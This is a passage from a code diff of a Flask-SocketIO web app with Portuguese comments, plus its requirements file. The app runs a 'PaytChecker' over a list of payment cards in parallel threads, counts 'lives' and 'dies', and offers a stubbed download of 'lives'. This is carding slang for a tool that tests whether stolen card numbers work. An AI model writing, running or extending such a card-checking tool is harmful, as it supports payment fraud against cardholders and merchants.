emit('update_stats', {'lives': 0, 'dies': 0, 'errors': 0, 'total': total_cards, 'checked': 0})
|
| 354 |
+
|
| 355 |
+
checker = PaytChecker(sid=client_sid)
|
| 356 |
+
stop_event.clear() # Limpa o evento de parada para um novo processamento
|
| 357 |
+
|
| 358 |
+
processing_threads = []
|
| 359 |
+
cards_per_thread = (total_cards + num_threads - 1) // num_threads
|
| 360 |
+
|
| 361 |
+
def worker(cards_chunk, thread_id, total_cards_overall):
|
| 362 |
+
for i, card in enumerate(cards_chunk):
|
| 363 |
+
if stop_event.is_set():
|
| 364 |
+
checker.emit_to_client('log', {'type': 'info', 'badge': 'THREAD', 'msg': f'Thread {thread_id+1} interrompida.', 'slot': thread_id})
|
| 365 |
+
break
|
| 366 |
+
checker.testar_cartao(card, checker.total_checked + 1, total_cards_overall, thread_id)
|
| 367 |
+
time.sleep(0.5) # Pequeno delay entre os cartões para evitar sobrecarga
|
| 368 |
+
checker.emit_to_client('thread_status', {'id': thread_id, 'status': 'idle', 'card': ''})
|
| 369 |
+
|
| 370 |
+
for i in range(num_threads):
|
| 371 |
+
start_idx = i * cards_per_thread
|
| 372 |
+
end_idx = min((i + 1) * cards_per_thread, total_cards)
|
| 373 |
+
chunk = cards[start_idx:end_idx]
|
| 374 |
+
if chunk:
|
| 375 |
+
thread = threading.Thread(target=worker, args=(chunk, i, total_cards))
|
| 376 |
+
processing_threads.append(thread)
|
| 377 |
+
thread.start()
|
| 378 |
+
|
| 379 |
+
@socketio.on('stop_process')
|
| 380 |
+
def stop_process():
|
| 381 |
+
global stop_event
|
| 382 |
+
stop_event.set() # Sinaliza para as threads pararem
|
| 383 |
+
emit('log', {'type': 'warn', 'badge': 'SERVER', 'msg': 'Sinal de parada enviado. Aguardando threads finalizarem...'})
|
| 384 |
+
emit('set_ui', {'on': False})
|
| 385 |
+
|
| 386 |
+
@app.route('/api/download/lives')
|
| 387 |
+
def download_lives():
|
| 388 |
+
# Implementar a lógica de download de lives, se necessário
|
| 389 |
+
# Por enquanto, retorna um arquivo vazio ou uma mensagem de erro
|
| 390 |
+
return "Funcionalidade de download de lives não implementada ainda.", 501
|
| 391 |
+
|
| 392 |
+
|
| 393 |
+
if __name__ == '__main__':
|
| 394 |
+
socketio.run(app, host='0.0.0.0', port=7860, allow_unsafe_werkzeug=True)
|
requirements.txt
ADDED
|
@@ -0,0 +1,6 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
Flask
|
| 2 |
+
Flask-SocketIO
|
| 3 |
+
playwright
|
| 4 |
+
requests
|
| 5 |
+
gevent
|
| 6 |
+
gevent-websocket
|